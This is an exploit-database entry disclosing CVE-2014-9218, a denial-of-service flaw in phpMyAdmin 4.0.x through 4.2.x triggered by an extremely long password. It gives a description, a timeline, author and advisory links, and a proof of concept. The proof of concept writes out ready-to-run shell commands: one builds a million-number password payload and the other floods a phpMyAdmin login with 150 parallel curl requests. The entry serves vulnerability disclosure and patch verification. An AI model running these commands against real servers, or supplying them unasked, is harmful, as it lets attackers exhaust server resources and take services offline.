phpMyAdmin 4.0.x/4.1.x/4.2.x - Denial of Service

Author: Javer Nieto & Andres Rojas
type: dos
platform: php
port: 
date_added: 2014-12-15 
date_updated: 2014-12-15 
verified: 0 
codes: CVE-2014-9218;OSVDB-115322 
tags: 
aliases:  
screenshot_url:  
application_url: 

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DESCRIPTION:
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A vulnerability present in in phpMyAdmin 4.0.x before 4.0.10.7, 4.1. x
before 4.1.14.8, and 4.2.x before 4.2.13.1 allows remote attackers  to
cause a denial of service (resource consumption) via a long password.
CVE-2014-9218 was assigned

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Time Line:
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December 3, 2014 - A phpMyAdmin update and the security advisory is
published.

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Proof of Concept:
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*1 - Create the payload.*

$ echo -n "pma_username=xxxxxxxx&pma_password=" > payload && printf "%s"
{1..1000000} >> payload

*2 - Performing the Denial of Service attack.*

$ for i in `seq 1 150`; do (curl --data @payload
http://your-webserver-installation/phpmyadmin/ --silent > /dev/null &) done

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Authors:
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-- Javer Nieto -- http://www.behindthefirewalls.com
-- Andres Rojas -- http://www.devconsole.info
=============

References:
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*
http://www.behindthefirewalls.com/2014/12/when-cookies-lead-to-dos-in-phpmyadmin.html
* http://www.phpmyadmin.net/home_page/security/PMASA-2014-17.php